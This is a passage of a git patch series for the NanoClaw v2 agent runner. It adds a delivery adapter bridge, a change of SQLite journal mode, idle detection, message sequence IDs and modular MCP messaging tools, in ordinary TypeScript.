channelType: adapter.channelType, err }); + }); + }, + onMetadata(platformId, name, isGroup) { + log.info('Channel metadata discovered', { + channelType: adapter.channelType, + platformId, + name, + isGroup, + }); + }, + }; + }); - // 4. Start delivery polls + // 4. Delivery adapter bridge — dispatches to channel adapters + setDeliveryAdapter({ + async deliver(channelType, platformId, threadId, kind, content) { + const adapter = getChannelAdapter(channelType); + if (!adapter) { + log.warn('No adapter for channel type', { channelType }); + return; + } + await adapter.deliver(platformId, threadId, { kind, content: JSON.parse(content) }); + }, + async setTyping(channelType, platformId, threadId) { + const adapter = getChannelAdapter(channelType); + await adapter?.setTyping?.(platformId, threadId); + }, + }); + + // 5. Start delivery polls startActiveDeliveryPoll(); startSweepDeliveryPoll(); log.info('Delivery polls started'); - // 5. Start host sweep + // 6. Start host sweep startHostSweep(); log.info('Host sweep started'); log.info('NanoClaw v2 running'); } +/** Build ConversationConfig[] for a channel type from the central DB. */ +function buildConversationConfigs(channelType: string): ConversationConfig[] { + const groups = getMessagingGroupsByChannel(channelType); + const configs: ConversationConfig[] = []; + + for (const mg of groups) { + const agents = getMessagingGroupAgents(mg.id); + for (const agent of agents) { + const triggerRules = agent.trigger_rules ? JSON.parse(agent.trigger_rules) : null; + configs.push({ + platformId: mg.platform_id, + agentGroupId: agent.agent_group_id, + triggerPattern: triggerRules?.pattern, + requiresTrigger: triggerRules?.requiresTrigger ?? false, + sessionMode: agent.session_mode, + }); + } + } + + return configs; +} + +/** Graceful shutdown. */ +async function shutdown(signal: string): Promise { + log.info('Shutdown signal received', { signal }); + stopDeliveryPolls(); + stopHostSweep(); + await teardownChannelAdapters(); + process.exit(0); +} + +process.on('SIGTERM', () => shutdown('SIGTERM')); +process.on('SIGINT', () => shutdown('SIGINT')); + main().catch((err) => { log.fatal('Startup failed', { err }); process.exit(1); From 6f2a7314d01966fc7ceb31f1c479b9b8246a303b Mon Sep 17 00:00:00 2001 From: gavrielc Date: Thu, 9 Apr 2026 01:34:59 +0300 Subject: [PATCH 073/485] v2: fix agent-runner lifecycle and session DB reliability - Use DELETE journal mode for session DBs instead of WAL. WAL doesn't sync reliably across Docker volume mounts (VirtioFS), causing dropped writes and duplicate deliveries. - Add 20s idle detection to end the query stream. The concurrent poll tracks SDK activity via a new 'activity' provider event. When no SDK events arrive for 20s and no messages are pending, the stream ends and the poll loop continues. - Add touchProcessing heartbeat so the host can distinguish active agents from idle ones by checking status_changed recency. - Catch query errors in the poll loop and write error responses to messages_out instead of crashing the process. Co-Authored-By: Claude Opus 4.6 (1M context) --- container/agent-runner/src/db/connection.ts | 2 +- container/agent-runner/src/db/messages-in.ts | 8 +++ container/agent-runner/src/poll-loop.test.ts | 9 +-- container/agent-runner/src/poll-loop.ts | 58 +++++++++++++------ .../agent-runner/src/providers/claude.ts | 4 +- container/agent-runner/src/providers/mock.ts | 2 + container/agent-runner/src/providers/types.ts | 3 +- src/session-manager.ts | 6 +- 8 files changed, 64 insertions(+), 28 deletions(-) diff --git a/container/agent-runner/src/db/connection.ts b/container/agent-runner/src/db/connection.ts index 9e71e58..a59d731 100644 --- a/container/agent-runner/src/db/connection.ts +++ b/container/agent-runner/src/db/connection.ts @@ -7,7 +7,7 @@ let _db: Database.Database | null = null; export function getSessionDb(): Database.Database { if (!_db) { _db = new Database(process.env.SESSION_DB_PATH || SESSION_DB_PATH); - _db.pragma('journal_mode = WAL'); + _db.pragma('journal_mode = DELETE'); _db.pragma('foreign_keys = ON'); } return _db; diff --git a/container/agent-runner/src/db/messages-in.ts b/container/agent-runner/src/db/messages-in.ts index a68071b..d97a4ba 100644 --- a/container/agent-runner/src/db/messages-in.ts +++ b/container/agent-runner/src/db/messages-in.ts @@ -47,6 +47,14 @@ export function markCompleted(ids: string[]): void { })(); } +/** Update status_changed on processing messages (heartbeat for host idle detection). */ +export function touchProcessing(ids: string[]): void { + if (ids.length === 0) return; + const db = getSessionDb(); + const stmt = db.prepare("UPDATE messages_in SET status_changed = datetime('now') WHERE id = ? AND status = 'processing'"); + for (const id of ids) stmt.run(id); +} + /** Mark a single message as failed. */ export function markFailed(id: string): void { getSessionDb().prepare("UPDATE messages_in SET status = 'failed', status_changed = datetime('now') WHERE id = ?").run(id); diff --git a/container/agent-runner/src/poll-loop.test.ts b/container/agent-runner/src/poll-loop.test.ts index 7cc3074..03fc0c7 100644 --- a/container/agent-runner/src/poll-loop.test.ts +++ b/container/agent-runner/src/poll-loop.test.ts @@ -120,10 +120,11 @@ describe('mock provider', () => { events.push(event); } - expect(events.length).toBeGreaterThanOrEqual(2); - expect(events[0].type).toBe('init'); - expect(events[1].type).toBe('result'); - expect((events[1] as { text: string }).text).toBe('Echo: Hello'); + const typed = events.filter((e) => e.type !== 'activity'); + expect(typed.length).toBeGreaterThanOrEqual(2); + expect(typed[0].type).toBe('init'); + expect(typed[1].type).toBe('result'); + expect((typed[1] as { text: string }).text).toBe('Echo: Hello'); }); it('should handle push() during active query', async () => { diff --git a/container/agent-runner/src/poll-loop.ts b/container/agent-runner/src/poll-loop.ts index e2712a5..8ae1238 100644 --- a/container/agent-runner/src/poll-loop.ts +++ b/container/agent-runner/src/poll-loop.ts @@ -1,10 +1,11 @@ -import { getPendingMessages, markProcessing, markCompleted } from './db/messages-in.js'; +import { getPendingMessages, markProcessing, markCompleted, touchProcessing } from './db/messages-in.js'; import { writeMessageOut } from './db/messages-out.js'; import { formatMessages, extractRouting, type RoutingContext } from './formatter.js'; import type { AgentProvider, AgentQuery, McpServerConfig, ProviderEvent } from './providers/types.js'; const POLL_INTERVAL_MS = 1000; const ACTIVE_POLL_INTERVAL_MS = 500; +const IDLE_END_MS = 20_000; // End stream after 20s with no SDK events function log(msg: string): void { console.error(`[poll-loop] ${msg}`); @@ -68,10 +69,22 @@ export async function runPollLoop(config: PollLoopConfig): Promise { }); // Process the query while concurrently polling for new messages - const result = await processQuery(query, routing, config); - - if (result.sessionId) sessionId = result.sessionId; - if (result.resumeAt) resumeAt = result.resumeAt; + try { + const result = await processQuery(query, routing, config, ids); + if (result.sessionId) sessionId = result.sessionId; + if (result.resumeAt) resumeAt = result.resumeAt; + } catch (err) { + log(`Query error: ${err instanceof Error ? err.message : String(err)}`); + // Write error response so the user knows something went wrong + writeMessageOut({ + id: generateId(), + kind: 'chat', + platform_id: routing.platformId, + channel_type: routing.channelType, + thread_id: routing.threadId, + content: JSON.stringify({ text: `Error: ${err instanceof Error ? err.message : String(err)}` }), + }); + } markCompleted(ids); log(`Completed ${ids.length} message(s)`); @@ -83,34 +96,43 @@ interface QueryResult { resumeAt?: string; } -async function processQuery(query: AgentQuery, routing: RoutingContext, config: PollLoopConfig): Promise { +async function processQuery(query: AgentQuery, routing: RoutingContext, config: PollLoopConfig, processingIds: string[]): Promise { let querySessionId: string | undefined; let done = false; + let lastEventTime = Date.now(); - // Concurrent polling: push new messages into the active query + // Concurrent polling: push follow-ups, checkpoint WAL, detect idle const pollHandle = setInterval(() => { if (done) return; + const newMessages = getPendingMessages(); - if (newMessages.length === 0) return; + if (newMessages.length > 0) { + const newIds = newMessages.map((m) => m.id); + markProcessing(newIds); - const newIds = newMessages.map((m) => m.id); - markProcessing(newIds); + const prompt = formatMessages(newMessages); + log(`Pushing ${newMessages.length} follow-up message(s) into active query`); + query.push(prompt); - const prompt = formatMessages(newMessages); - log(`Pushing ${newMessages.length} follow-up message(s) into active query`); - query.push(prompt); + const newRouting = extractRouting(newMessages); + setRoutingEnv(newRouting, config.env); - // Update routing env for MCP tools with latest message context - const newRouting = extractRouting(newMessages); - setRoutingEnv(newRouting, config.env); + markCompleted(newIds); + lastEventTime = Date.now(); // new input counts as activity + } - // Mark these completed immediately (they've been pushed to the provider) - markCompleted(newIds); + // End stream when agent is idle: no SDK events and no pending messages + if (Date.now() - lastEventTime > IDLE_END_MS) { + log(`No SDK events for ${IDLE_END_MS / 1000}s, ending query`); + query.end(); + } }, ACTIVE_POLL_INTERVAL_MS); try { for await (const event of query.events) { + lastEventTime = Date.now(); handleEvent(event, routing); + touchProcessing(processingIds); if (event.type === 'init') { querySessionId = event.sessionId; diff --git a/container/agent-runner/src/providers/claude.ts b/container/agent-runner/src/providers/claude.ts index c25ff37..e17c5c5 100644 --- a/container/agent-runner/src/providers/claude.ts +++ b/container/agent-runner/src/providers/claude.ts @@ -200,6 +200,9 @@ export class ClaudeProvider implements AgentProvider { if (aborted) return; messageCount++; + // Yield activity for every SDK event so the poll loop knows the agent is working + yield { type: 'activity' }; + if (message.type === 'system' && message.subtype === 'init') { yield { type: 'init', sessionId: message.session_id }; } else if (message.type === 'result') { @@ -213,7 +216,6 @@ export class ClaudeProvider implements AgentProvider { const tn = message as { summary?: string }; yield { type: 'progress', message: tn.summary || 'Task notification' }; } - // All other message types are logged but not emitted } log(`Query completed after ${messageCount} SDK messages`); } diff --git a/container/agent-runner/src/providers/mock.ts b/container/agent-runner/src/providers/mock.ts index ed5cad1..0794557 100644 --- a/container/agent-runner/src/providers/mock.ts +++ b/container/agent-runner/src/providers/mock.ts @@ -20,9 +20,11 @@ export class MockProvider implements AgentProvider { const events: AsyncIterable = { async *[Symbol.asyncIterator]() { + yield { type: 'activity' }; yield { type: 'init', sessionId: `mock-session-${Date.now()}` }; // Process initial prompt + yield { type: 'activity' }; yield { type: 'result', text: responseFactory(input.prompt) }; // Process any pushed follow-ups diff --git a/container/agent-runner/src/providers/types.ts b/container/agent-runner/src/providers/types.ts index 6e43f3b..b0ad4da 100644 --- a/container/agent-runner/src/providers/types.ts +++ b/container/agent-runner/src/providers/types.ts @@ -53,4 +53,5 @@ export type ProviderEvent = | { type: 'init'; sessionId: string } | { type: 'result'; text: string | null } | { type: 'error'; message: string; retryable: boolean; classification?: string } - | { type: 'progress'; message: string }; + | { type: 'progress'; message: string } + | { type: 'activity' }; diff --git a/src/session-manager.ts b/src/session-manager.ts index 361c198..4048cfb 100644 --- a/src/session-manager.ts +++ b/src/session-manager.ts @@ -80,7 +80,7 @@ export function initSessionFolder(agentGroupId: string, sessionId: string): void const dbPath = sessionDbPath(agentGroupId, sessionId); if (!fs.existsSync(dbPath)) { const db = new Database(dbPath); - db.pragma('journal_mode = WAL'); + db.pragma('journal_mode = DELETE'); db.exec(SESSION_SCHEMA); db.close(); log.debug('Session DB created', { dbPath }); @@ -105,7 +105,7 @@ export function writeSessionMessage( ): void { const dbPath = sessionDbPath(agentGroupId, sessionId); const db = new Database(dbPath); - db.pragma('journal_mode = WAL'); + db.pragma('journal_mode = DELETE'); try { db.prepare( @@ -134,7 +134,7 @@ export function writeSessionMessage( export function openSessionDb(agentGroupId: string, sessionId: string): Database.Database { const dbPath = sessionDbPath(agentGroupId, sessionId); const db = new Database(dbPath); - db.pragma('journal_mode = WAL'); + db.pragma('journal_mode = DELETE'); return db; } From b36f127acc7dfed2df01df7027e047e89f2b8882 Mon Sep 17 00:00:00 2001 From: gavrielc Date: Thu, 9 Apr 2026 01:40:52 +0300 Subject: [PATCH 074/485] style: prettier formatting fixes Co-Authored-By: Claude Opus 4.6 (1M context) --- src/channels/channel-registry.test.ts | 9 +++++---- src/db/messaging-groups.ts | 4 +--- src/index-v2.ts | 6 +----- 3 files changed, 7 insertions(+), 12 deletions(-) diff --git a/src/channels/channel-registry.test.ts b/src/channels/channel-registry.test.ts index 4032b7a..d78761b 100644 --- a/src/channels/channel-registry.test.ts +++ b/src/channels/channel-registry.test.ts @@ -29,7 +29,9 @@ function now() { } /** Create a mock ChannelAdapter for testing. */ -function createMockAdapter(channelType: string): ChannelAdapter & { delivered: OutboundMessage[]; inbound: InboundMessage[] } { +function createMockAdapter( + channelType: string, +): ChannelAdapter & { delivered: OutboundMessage[]; inbound: InboundMessage[] } { const delivered: OutboundMessage[] = []; const inbound: InboundMessage[] = []; let setupConfig: ChannelSetup | null = null; @@ -74,9 +76,8 @@ describe('channel registry', () => { }); it('should register and retrieve channel adapters', async () => { - const { registerChannelAdapter, getRegisteredChannelNames, getChannelContainerConfig } = await import( - './channel-registry.js' - ); + const { registerChannelAdapter, getRegisteredChannelNames, getChannelContainerConfig } = + await import('./channel-registry.js'); registerChannelAdapter('test-channel', { factory: () => createMockAdapter('test'), diff --git a/src/db/messaging-groups.ts b/src/db/messaging-groups.ts index 5d431f9..ef3b46c 100644 --- a/src/db/messaging-groups.ts +++ b/src/db/messaging-groups.ts @@ -27,9 +27,7 @@ export function getAllMessagingGroups(): MessagingGroup[] { } export function getMessagingGroupsByChannel(channelType: string): MessagingGroup[] { - return getDb() - .prepare('SELECT * FROM messaging_groups WHERE channel_type = ?') - .all(channelType) as MessagingGroup[]; + return getDb().prepare('SELECT * FROM messaging_groups WHERE channel_type = ?').all(channelType) as MessagingGroup[]; } export function updateMessagingGroup( diff --git a/src/index-v2.ts b/src/index-v2.ts index eb2428b..396acd8 100644 --- a/src/index-v2.ts +++ b/src/index-v2.ts @@ -20,11 +20,7 @@ import { log } from './log.js'; // import './channels/discord-v2.js'; import type { ChannelAdapter, ChannelSetup, ConversationConfig } from './channels/adapter.js'; -import { - initChannelAdapters, - teardownChannelAdapters, - getChannelAdapter, -} from './channels/channel-registry.js'; +import { initChannelAdapters, teardownChannelAdapters, getChannelAdapter } from './channels/channel-registry.js'; async function main(): Promise { log.info('NanoClaw v2 starting'); From afbc20a6c4687d5ebcfcbbdbaf51145f5609540e Mon Sep 17 00:00:00 2001 From: gavrielc Date: Thu, 9 Apr 2026 02:53:39 +0300 Subject: [PATCH 075/485] v2 phase 4+5: Discord via Chat SDK, expanded MCP tools, message seq IDs - Chat SDK bridge + Discord adapter (gateway listener, message routing) - MCP tools refactored into modular structure: core (send_message, send_file, edit_message, add_reaction), scheduling (schedule/list/cancel/pause/resume tasks), interactive (ask_user_question, send_card), agents (send_to_agent) - Message seq IDs: shared integer sequence across messages_in/out so agents see small numeric IDs instead of platform snowflakes - busy_timeout=5000 for session DB (poll loop + MCP server concurrent access) - Always copy agent-runner source to fix stale cache when non-index files change - Seed script for Discord testing, e2e test script Co-Authored-By: Claude Opus 4.6 (1M context) --- container/agent-runner/src/db/connection.ts | 3 + container/agent-runner/src/db/messages-in.ts | 1 + container/agent-runner/src/db/messages-out.ts | 55 +- container/agent-runner/src/formatter.ts | 6 +- container/agent-runner/src/index-v2.ts | 2 +- .../agent-runner/src/mcp-tools/agents.ts | 58 + container/agent-runner/src/mcp-tools/core.ts | 190 +++ container/agent-runner/src/mcp-tools/index.ts | 53 + .../agent-runner/src/mcp-tools/interactive.ts | 147 ++ .../agent-runner/src/mcp-tools/scheduling.ts | 199 +++ container/agent-runner/src/mcp-tools/types.ts | 6 + package-lock.json | 1439 ++++++++++++++++- package.json | 3 + scripts/seed-discord.ts | 78 + scripts/test-v2-channel-e2e.ts | 257 +++ src/channels/chat-sdk-bridge.ts | 189 +++ src/channels/discord-v2.ts | 22 + src/container-runner-v2.ts | 11 +- src/db/schema.ts | 2 + src/index-v2.ts | 2 +- src/session-manager.ts | 16 +- 21 files changed, 2702 insertions(+), 37 deletions(-) create mode 100644 container/agent-runner/src/mcp-tools/agents.ts create mode 100644 container/agent-runner/src/mcp-tools/core.ts create mode 100644 container/agent-runner/src/mcp-tools/index.ts create mode 100644 container/agent-runner/src/mcp-tools/interactive.ts create mode 100644 container/agent-runner/src/mcp-tools/scheduling.ts create mode 100644 container/agent-runner/src/mcp-tools/types.ts create mode 100644 scripts/seed-discord.ts create mode 100644 scripts/test-v2-channel-e2e.ts create mode 100644 src/channels/chat-sdk-bridge.ts create mode 100644 src/channels/discord-v2.ts diff --git a/container/agent-runner/src/db/connection.ts b/container/agent-runner/src/db/connection.ts index a59d731..46f4a70 100644 --- a/container/agent-runner/src/db/connection.ts +++ b/container/agent-runner/src/db/connection.ts @@ -8,6 +8,7 @@ export function getSessionDb(): Database.Database { if (!_db) { _db = new Database(process.env.SESSION_DB_PATH || SESSION_DB_PATH); _db.pragma('journal_mode = DELETE'); + _db.pragma('busy_timeout = 5000'); _db.pragma('foreign_keys = ON'); } return _db; @@ -20,6 +21,7 @@ export function initTestSessionDb(): Database.Database { _db.exec(` CREATE TABLE messages_in ( id TEXT PRIMARY KEY, + seq INTEGER UNIQUE, kind TEXT NOT NULL, timestamp TEXT NOT NULL, status TEXT DEFAULT 'pending', @@ -34,6 +36,7 @@ export function initTestSessionDb(): Database.Database { ); CREATE TABLE messages_out ( id TEXT PRIMARY KEY, + seq INTEGER UNIQUE, in_reply_to TEXT, timestamp TEXT NOT NULL, delivered INTEGER DEFAULT 0, diff --git a/container/agent-runner/src/db/messages-in.ts b/container/agent-runner/src/db/messages-in.ts index d97a4ba..579eb15 100644 --- a/container/agent-runner/src/db/messages-in.ts +++ b/container/agent-runner/src/db/messages-in.ts @@ -2,6 +2,7 @@ import { getSessionDb } from './connection.js'; export interface MessageInRow { id: string; + seq: number | null; kind: string; timestamp: string; status: string; diff --git a/container/agent-runner/src/db/messages-out.ts b/container/agent-runner/src/db/messages-out.ts index 97db901..df6ebef 100644 --- a/container/agent-runner/src/db/messages-out.ts +++ b/container/agent-runner/src/db/messages-out.ts @@ -2,6 +2,7 @@ import { getSessionDb } from './connection.js'; export interface MessageOutRow { id: string; + seq: number | null; in_reply_to: string | null; timestamp: string; delivered: number; @@ -26,22 +27,44 @@ export interface WriteMessageOut { content: string; } -/** Write a new outbound message. */ -export function writeMessageOut(msg: WriteMessageOut): void { - getSessionDb() - .prepare( - `INSERT INTO messages_out (id, in_reply_to, timestamp, delivered, deliver_after, recurrence, kind, platform_id, channel_type, thread_id, content) - VALUES (@id, @in_reply_to, datetime('now'), 0, @deliver_after, @recurrence, @kind, @platform_id, @channel_type, @thread_id, @content)`, - ) - .run({ - in_reply_to: null, - deliver_after: null, - recurrence: null, - platform_id: null, - channel_type: null, - thread_id: null, - ...msg, - }); +/** Write a new outbound message, auto-assigning a seq number. */ +export function writeMessageOut(msg: WriteMessageOut): number { + const db = getSessionDb(); + const nextSeq = ( + db + .prepare( + `SELECT COALESCE(MAX(seq), 0) + 1 AS next FROM ( + SELECT seq FROM messages_in WHERE seq IS NOT NULL + UNION ALL + SELECT seq FROM messages_out WHERE seq IS NOT NULL + )`, + ) + .get() as { next: number } + ).next; + + db.prepare( + `INSERT INTO messages_out (id, seq, in_reply_to, timestamp, delivered, deliver_after, recurrence, kind, platform_id, channel_type, thread_id, content) + VALUES (@id, @seq, @in_reply_to, datetime('now'), 0, @deliver_after, @recurrence, @kind, @platform_id, @channel_type, @thread_id, @content)`, + ).run({ + in_reply_to: null, + deliver_after: null, + recurrence: null, + platform_id: null, + channel_type: null, + thread_id: null, + ...msg, + seq: nextSeq, + }); + + return nextSeq; +} + +/** Look up a message's platform ID by seq number. */ +export function getMessageIdBySeq(seq: number): string | null { + const inRow = getSessionDb().prepare('SELECT id FROM messages_in WHERE seq = ?').get(seq) as { id: string } | undefined; + if (inRow) return inRow.id; + const outRow = getSessionDb().prepare('SELECT id FROM messages_out WHERE seq = ?').get(seq) as { id: string } | undefined; + return outRow?.id ?? null; } /** Get undelivered messages (for host polling). */ diff --git a/container/agent-runner/src/formatter.ts b/container/agent-runner/src/formatter.ts index f3bb5a8..ce48030 100644 --- a/container/agent-runner/src/formatter.ts +++ b/container/agent-runner/src/formatter.ts @@ -67,7 +67,8 @@ function formatChatMessages(messages: MessageInRow[]): string { const sender = content.sender || content.author?.fullName || content.author?.userName || 'Unknown'; const time = formatTime(msg.timestamp); const text = content.text || ''; - lines.push(`${escapeXml(text)}`); + const idAttr = msg.seq != null ? ` id="${msg.seq}"` : ''; + lines.push(`${escapeXml(text)}`); } lines.push(''); return lines.join('\n'); @@ -78,7 +79,8 @@ function formatSingleChat(msg: MessageInRow): string { const sender = content.sender || content.author?.fullName || content.author?.userName || 'Unknown'; const time = formatTime(msg.timestamp); const text = content.text || ''; - return `${escapeXml(text)}`; + const idAttr = msg.seq != null ? ` id="${msg.seq}"` : ''; + return `${escapeXml(text)}`; } function formatTaskMessage(msg: MessageInRow): string { diff --git a/container/agent-runner/src/index-v2.ts b/container/agent-runner/src/index-v2.ts index 1005e56..db6523a 100644 --- a/container/agent-runner/src/index-v2.ts +++ b/container/agent-runner/src/index-v2.ts @@ -64,7 +64,7 @@ async function main(): Promise { // MCP server path const __dirname = path.dirname(fileURLToPath(import.meta.url)); - const mcpServerPath = path.join(__dirname, 'mcp-tools.js'); + const mcpServerPath = path.join(__dirname, 'mcp-tools', 'index.js'); // SDK env const env: Record = { diff --git a/container/agent-runner/src/mcp-tools/agents.ts b/container/agent-runner/src/mcp-tools/agents.ts new file mode 100644 index 0000000..54e50b6 --- /dev/null +++ b/container/agent-runner/src/mcp-tools/agents.ts @@ -0,0 +1,58 @@ +/** + * Agent-to-agent MCP tools: send_to_agent. + */ +import { writeMessageOut } from '../db/messages-out.js'; +import type { McpToolDefinition } from './types.js'; + +function log(msg: string): void { + console.error(`[mcp-tools] ${msg}`); +} + +function generateId(): string { + return `msg-${Date.now()}-${Math.random().toString(36).slice(2, 8)}`; +} + +function ok(text: string) { + return { content: [{ type: 'text' as const, text }] }; +} + +function err(text: string) { + return { content: [{ type: 'text' as const, text: `Error: ${text}` }], isError: true }; +} + +export const sendToAgent: McpToolDefinition = { + tool: { + name: 'send_to_agent', + description: 'Send a message to another agent group.', + inputSchema: { + type: 'object' as const, + properties: { + agentGroupId: { type: 'string', description: 'Target agent group ID' }, + text: { type: 'string', description: 'Message content' }, + sessionId: { type: 'string', description: 'Target specific session (optional)' }, + }, + required: ['agentGroupId', 'text'], + }, + }, + async handler(args) { + const agentGroupId = args.agentGroupId as string; + const text = args.text as string; + if (!agentGroupId || !text) return err('agentGroupId and text are required'); + + const id = generateId(); + + writeMessageOut({ + id, + kind: 'chat', + channel_type: 'agent', + platform_id: agentGroupId, + thread_id: (args.sessionId as string) || null, + content: JSON.stringify({ text }), + }); + + log(`send_to_agent: ${id} → ${agentGroupId}`); + return ok(`Message sent to agent ${agentGroupId} (id: ${id})`); + }, +}; + +export const agentTools: McpToolDefinition[] = [sendToAgent]; diff --git a/container/agent-runner/src/mcp-tools/core.ts b/container/agent-runner/src/mcp-tools/core.ts new file mode 100644 index 0000000..c607c6c --- /dev/null +++ b/container/agent-runner/src/mcp-tools/core.ts @@ -0,0 +1,190 @@ +/** + * Core MCP tools: send_message, send_file, edit_message, add_reaction. + */ +import fs from 'fs'; +import path from 'path'; + +import { writeMessageOut, getMessageIdBySeq } from '../db/messages-out.js'; +import type { McpToolDefinition } from './types.js'; + +function log(msg: string): void { + console.error(`[mcp-tools] ${msg}`); +} + +function generateId(): string { + return `msg-${Date.now()}-${Math.random().toString(36).slice(2, 8)}`; +} + +function routing() { + return { + platform_id: process.env.NANOCLAW_PLATFORM_ID || null, + channel_type: process.env.NANOCLAW_CHANNEL_TYPE || null, + thread_id: process.env.NANOCLAW_THREAD_ID || null, + }; +} + +function ok(text: string) { + return { content: [{ type: 'text' as const, text }] }; +} + +function err(text: string) { + return { content: [{ type: 'text' as const, text: `Error: ${text}` }], isError: true }; +} + +export const sendMessage: McpToolDefinition = { + tool: { + name: 'send_message', + description: 'Send a chat message to the current conversation or a specified destination.', + inputSchema: { + type: 'object' as const, + properties: { + text: { type: 'string', description: 'Message content' }, + channel: { type: 'string', description: 'Target channel type (default: reply to origin)' }, + platformId: { type: 'string', description: 'Target platform ID' }, + threadId: { type: 'string', description: 'Target thread ID' }, + }, + required: ['text'], + }, + }, + async handler(args) { + const text = args.text as string; + if (!text) return err('text is required'); + + const id = generateId(); + const r = routing(); + + const seq = writeMessageOut({ + id, + kind: 'chat', + platform_id: (args.platformId as string) || r.platform_id, + channel_type: (args.channel as string) || r.channel_type, + thread_id: (args.threadId as string) || r.thread_id, + content: JSON.stringify({ text }), + }); + + log(`send_message: #${seq} ${id} → ${r.channel_type || 'default'}/${r.platform_id || 'default'}`); + return ok(`Message sent (id: ${seq})`); + }, +}; + +export const sendFile: McpToolDefinition = { + tool: { + name: 'send_file', + description: 'Send a file to the current conversation.', + inputSchema: { + type: 'object' as const, + properties: { + path: { type: 'string', description: 'File path (relative to /workspace/agent/ or absolute)' }, + text: { type: 'string', description: 'Optional accompanying message' }, + filename: { type: 'string', description: 'Display name (default: basename of path)' }, + }, + required: ['path'], + }, + }, + async handler(args) { + const filePath = args.path as string; + if (!filePath) return err('path is required'); + + const resolvedPath = path.isAbsolute(filePath) ? filePath : path.resolve('/workspace/agent', filePath); + if (!fs.existsSync(resolvedPath)) return err(`File not found: ${filePath}`); + + const id = generateId(); + const filename = (args.filename as string) || path.basename(resolvedPath); + const r = routing(); + + // Copy file to outbox + const outboxDir = path.join('/workspace/outbox', id); + fs.mkdirSync(outboxDir, { recursive: true }); + fs.copyFileSync(resolvedPath, path.join(outboxDir, filename)); + + writeMessageOut({ + id, + kind: 'chat', + platform_id: r.platform_id, + channel_type: r.channel_type, + thread_id: r.thread_id, + content: JSON.stringify({ text: (args.text as string) || '', files: [filename] }), + }); + + log(`send_file: ${id} → ${filename}`); + return ok(`File sent (id: ${id}, filename: ${filename})`); + }, +}; + +export const editMessage: McpToolDefinition = { + tool: { + name: 'edit_message', + description: 'Edit a previously sent message.', + inputSchema: { + type: 'object' as const, + properties: { + messageId: { type: 'integer', description: 'Message ID (the numeric id shown in messages)' }, + text: { type: 'string', description: 'New message content' }, + }, + required: ['messageId', 'text'], + }, + }, + async handler(args) { + const seq = Number(args.messageId); + const text = args.text as string; + if (!seq || !text) return err('messageId and text are required'); + + const platformId = getMessageIdBySeq(seq); + if (!platformId) return err(`Message #${seq} not found`); + + const id = generateId(); + const r = routing(); + + writeMessageOut({ + id, + kind: 'chat', + platform_id: r.platform_id, + channel_type: r.channel_type, + thread_id: r.thread_id, + content: JSON.stringify({ operation: 'edit', messageId: platformId, text }), + }); + + log(`edit_message: #${seq} → ${platformId}`); + return ok(`Message edit queued for #${seq}`); + }, +}; + +export const addReaction: McpToolDefinition = { + tool: { + name: 'add_reaction', + description: 'Add an emoji reaction to a message.', + inputSchema: { + type: 'object' as const, + properties: { + messageId: { type: 'integer', description: 'Message ID (the numeric id shown in messages)' }, + emoji: { type: 'string', description: 'Emoji name (e.g., thumbs_up, heart, check)' }, + }, + required: ['messageId', 'emoji'], + }, + }, + async handler(args) { + const seq = Number(args.messageId); + const emoji = args.emoji as string; + if (!seq || !emoji) return err('messageId and emoji are required'); + + const platformId = getMessageIdBySeq(seq); + if (!platformId) return err(`Message #${seq} not found`); + + const id = generateId(); + const r = routing(); + + writeMessageOut({ + id, + kind: 'chat', + platform_id: r.platform_id, + channel_type: r.channel_type, + thread_id: r.thread_id, + content: JSON.stringify({ operation: 'reaction', messageId: platformId, emoji }), + }); + + log(`add_reaction: #${seq} → ${emoji} on ${platformId}`); + return ok(`Reaction queued for #${seq}`); + }, +}; + +export const coreTools: McpToolDefinition[] = [sendMessage, sendFile, editMessage, addReaction]; diff --git a/container/agent-runner/src/mcp-tools/index.ts b/container/agent-runner/src/mcp-tools/index.ts new file mode 100644 index 0000000..254d802 --- /dev/null +++ b/container/agent-runner/src/mcp-tools/index.ts @@ -0,0 +1,53 @@ +/** + * MCP tools barrel — collects all tool modules and starts the server. + * + * Each module exports a McpToolDefinition[] array. This file registers + * them all with the MCP server. Adding a new tool module requires only + * importing it here and spreading its tools array. + */ +import { Server } from '@modelcontextprotocol/sdk/server/index.js'; +import { StdioServerTransport } from '@modelcontextprotocol/sdk/server/stdio.js'; +import { CallToolRequestSchema, ListToolsRequestSchema } from '@modelcontextprotocol/sdk/types.js'; + +import type { McpToolDefinition } from './types.js'; +import { coreTools } from './core.js'; +import { schedulingTools } from './scheduling.js'; +import { interactiveTools } from './interactive.js'; +import { agentTools } from './agents.js'; + +function log(msg: string): void { + console.error(`[mcp-tools] ${msg}`); +} + +const allTools: McpToolDefinition[] = [...coreTools, ...schedulingTools, ...interactiveTools, ...agentTools]; + +const toolMap = new Map(); +for (const t of allTools) { + toolMap.set(t.tool.name, t); +} + +async function startMcpServer(): Promise { + const server = new Server({ name: 'nanoclaw', version: '2.0.0' }, { capabilities: { tools: {} } }); + + server.setRequestHandler(ListToolsRequestSchema, async () => ({ + tools: allTools.map((t) => t.tool), + })); + + server.setRequestHandler(CallToolRequestSchema, async (request) => { + const { name, arguments: args } = request.params; + const tool = toolMap.get(name); + if (!tool) { + return { content: [{ type: 'text', text: `Unknown tool: ${name}` }] }; + } + return tool.handler(args ?? {}); + }); + + const transport = new StdioServerTransport(); + await server.connect(transport); + log(`MCP server started with ${allTools.length} tools: ${allTools.map((t) => t.tool.name).join(', ')}`); +} + +startMcpServer().catch((err) => { + log(`MCP server error: ${err instanceof Error ? err.message : String(err)}`); + process.exit(1); +}); diff --git a/container/agent-runner/src/mcp-tools/interactive.ts b/container/agent-runner/src/mcp-tools/interactive.ts new file mode 100644 index 0000000..dbd6ad6 --- /dev/null +++ b/container/agent-runner/src/mcp-tools/interactive.ts @@ -0,0 +1,147 @@ +/** + * Interactive MCP tools: ask_user_question, send_card. + * + * ask_user_question is a blocking tool call — it writes a messages_out row + * with a question card, then polls messages_in for the response. + */ +import { getSessionDb } from '../db/connection.js'; +import { writeMessageOut } from '../db/messages-out.js'; +import type { McpToolDefinition } from './types.js'; + +function log(msg: string): void { + console.error(`[mcp-tools] ${msg}`); +} + +function generateId(): string { + return `msg-${Date.now()}-${Math.random().toString(36).slice(2, 8)}`; +} + +function routing() { + return { + platform_id: process.env.NANOCLAW_PLATFORM_ID || null, + channel_type: process.env.NANOCLAW_CHANNEL_TYPE || null, + thread_id: process.env.NANOCLAW_THREAD_ID || null, + }; +} + +function ok(text: string) { + return { content: [{ type: 'text' as const, text }] }; +} + +function err(text: string) { + return { content: [{ type: 'text' as const, text: `Error: ${text}` }], isError: true }; +} + 